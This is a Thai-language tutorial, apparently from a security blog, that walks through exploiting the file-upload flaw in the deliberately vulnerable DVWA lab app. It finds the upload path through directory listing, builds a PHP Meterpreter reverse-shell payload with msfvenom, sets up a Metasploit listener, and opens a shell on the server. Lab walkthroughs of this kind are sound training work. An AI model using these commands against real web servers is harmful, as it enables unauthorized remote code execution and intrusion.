How to upload the PHP Backdoor payload

บทนำ (Overview)

บทความนี้ได้นำเสนอวิธีการโจมตีช่องโหว่ ของการ “upload” ไฟล์ “PHP back door” ซึ่งทำให้สามารถผู้โจมตีได้ “Shell” เพื่อใช้งานคำสั่งของระบบปฏิบัติการได้ โดยความยากอาจจะอยู่ที่ว่า “Upload” ไฟล์ “Back door” แล้วมันจะไปอยู่ตรงไหนด้วย แต่สำหรับบทความนี้จะแสดงให้เห็นถึง ช่องโหว่ของ “Directory Listing” นั้นจะช่วยเราหาได้ง่ายขึ้นดังต่อไปนี้

dvwa-upload-l-17ขั้นตอน (Steps)

ค้นหาช่อง Upload ไฟล์ และ Path ที่เก็บ

  1. ติดตั้ง “Web application” ที่มีช่องโหว่ (สามารถติดตามได้จากบทความ How to install DVWA in Kali)
  2. เมื่อ “login” แล้วให้ไปที่ “Menu” ที่ชื่อ “File upload” dvwa-upload-l-01
  3. เราจะพบหน้าจอสำหรับ “Upload” ไฟล์ dvwa-upload-l-02
  4. ให้เราสร้างไฟล์รูปภาพ เช่น “.jpeg” แล้วลอง upload โดยกดปุ่ม “Browse” > เลือกภาพที่สร้าง > กดปุ่ม “upload”dvwa-upload-l-03
  5. ถ้าสำเร็จจะขึ้นข้อความดังภาพ dvwa-upload-l-04
  6. ที่นี้เมื่อเราสามารถ “upload” รูปภาพได้แล้วสิ่งสำคัญเราจะต้องพยายามหาคือ “path” ที่สามารถแสดง รูปภาพนั้นให้ได้ด้วย เพราะถ้าเราไม่ทราบ “path” ดังกล่าว “PHP back door” อาจไม่สามารถ “Run”  คำสั่งได้ ที่นี้โดยปกติเราสามารถหา “path” หรือ “url” ได้ทันทีถ้าเราพบหน้าแสดงรูปภาพ โดยการคลิกขวาที่รูป แล้วเลือกเมนูที่เกี่ยว “View image info” (ขึ้นกับแต่ละ Web browser) หรือ “Inspect element”dvwa-upload-l-05
  7. จากตัวอย่างข้างต้นเราพยายามหาฟังก์ชัน ที่น่าจะเกี่ยวข้องกับรูปภาพ ซึ่งก็คือเมนู “Brute force” โดยใส่รหัสผ่านที่เรารู้ ให้ ทดลอง “Inspect element”  dvwa-upload-l-06
  8. ผลการทดลองพบว่า มี “path” หรือ “url” ของรูปปรากฏขึ้นมาคือ ให้ลองเปิด “tab” ใหม่ของ “Browser” ขึ้นมา แล้วเปิด “URL” ที่ได้มา http://localhost/DVWA-1.9/hackable/users/admin.jpg dvwa-upload-l-07
  9. ที่นี้ลองเข้าไปที่ “path” ที่เราค้นพบตรง ๆ จะพบว่ามีการเปิด “Directory listing” เอาไว้ dvwa-upload-l-08

สร้าง PHP backdoor payload

  1. ที่นี้เราจะมาสร้าง “PHP backdoor payload” กันซึ่งมันก็คือไฟล์ “php” ที่สามารถ Run คำสั่ง เพื่อให้ส่ง “command prompt” กลับมาที่เครื่องของเราเพื่อให้เราสามารถเชื่อมต่อได้ เช่นเดียวกับการใช้ “Netcat” สามารถติดตามตัวอย่างการใช้ “Netcat” ได้ที่
  2. ก่อนอื่นให้เราตรวจสอบก่อนว่าเครื่องของเรา (Hacker) IP  คืออะไร โดยใช้คำสั่ง “ifconfig” dvwa-upload-l-15
  3. เสร็จแล้วมาสร้าง “payload” กัน
    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.43 LPORT=4444 -e php/base64 -f raw > shell.php
    
    // msfvenom หมายถึง คำสั่งสำหรับการสร้าง payload
    // php/meterpreter/reverse_tcp หมายถึงเราจะสร้าง payload ที่มีลักษณะเป็น Reverse shell โดยใช้ meterpreter
    // LHOST คือ IP เครื่อง Hacker
    // LPORT คือ port ที่จะใช้เชื่อมต่อ
    // -e php/base64 โดยไฟล์จะถูก Encode ด้วย base64
    // และตั้งชื่อไฟล์คือ shell
    

    dvwa-upload-l-14

  4. เมื่อสร้างไฟล์เสร็จจะไปอยู่ที่ /home ให้เปิดไฟล์ขึ้นมา  (shell.php) จากนั้นให้ใส่ syntax คั่นดังนี้
    <?php ?>
    

    dvwa-upload-l-12

ตั้ง Listerner

  1. เมื่อได้ “PHP backdoor” สำหรับ “upload” ไฟล์แล้วเราจะต้องมา “PHP listener” ไว้เพื่อเราการติดต่อจากเครื่องของเหยื่อรอไว้ก่อนด้วยโดยใช้คำสั่ง
    msfconsole
    use exploit/multi/handler
    set PAYLOAD php/meterpreter/reverse_tcp
    set LHOST 192.168.1.43
    set LPORT 4444
    exploit
    

    dvwa-upload-l-09

Upload File PHP backdoor file

  1. ที่นี้ลอง “upload” ไฟล์ “PHP backdoor payload” ที่เราสร้างขึ้นมาเข้าไปdvwa-upload-l-10
  2. เมื่อ “upload” เสร็จสิ้นให้ไปที่ “path” ที่เก็บรูปภาพ http://localhost/DVWA-1.9/hackable/users/ เหมือนเดิมและเลือกไฟล์ “shell.php” ถ้าไม่พบไฟล์ดังกล่าวลอง ถอยหลังให้เหลือแค่ http://localhost/DVWA-1.9/hackable/ แล้วหาจนกว่าจะเจอไฟล์ของเรา dvwa-upload-l-11
  3. พอคลิกเลือกไฟล์ “shell.php” ให้สังเกตุ “PHP listener” ที่เราเปิดทิ้งเอาไว้ dvwa-upload-l-13
  4. เราสามารถใช้ “command prompt” โดยใช้คำสั่ง “shell” หลังจากนั้นเราสามารถใช้งานคำสั่ง “Linux” ได้ตามปกติ dvwa-upload-l-16

ใส่ความเห็น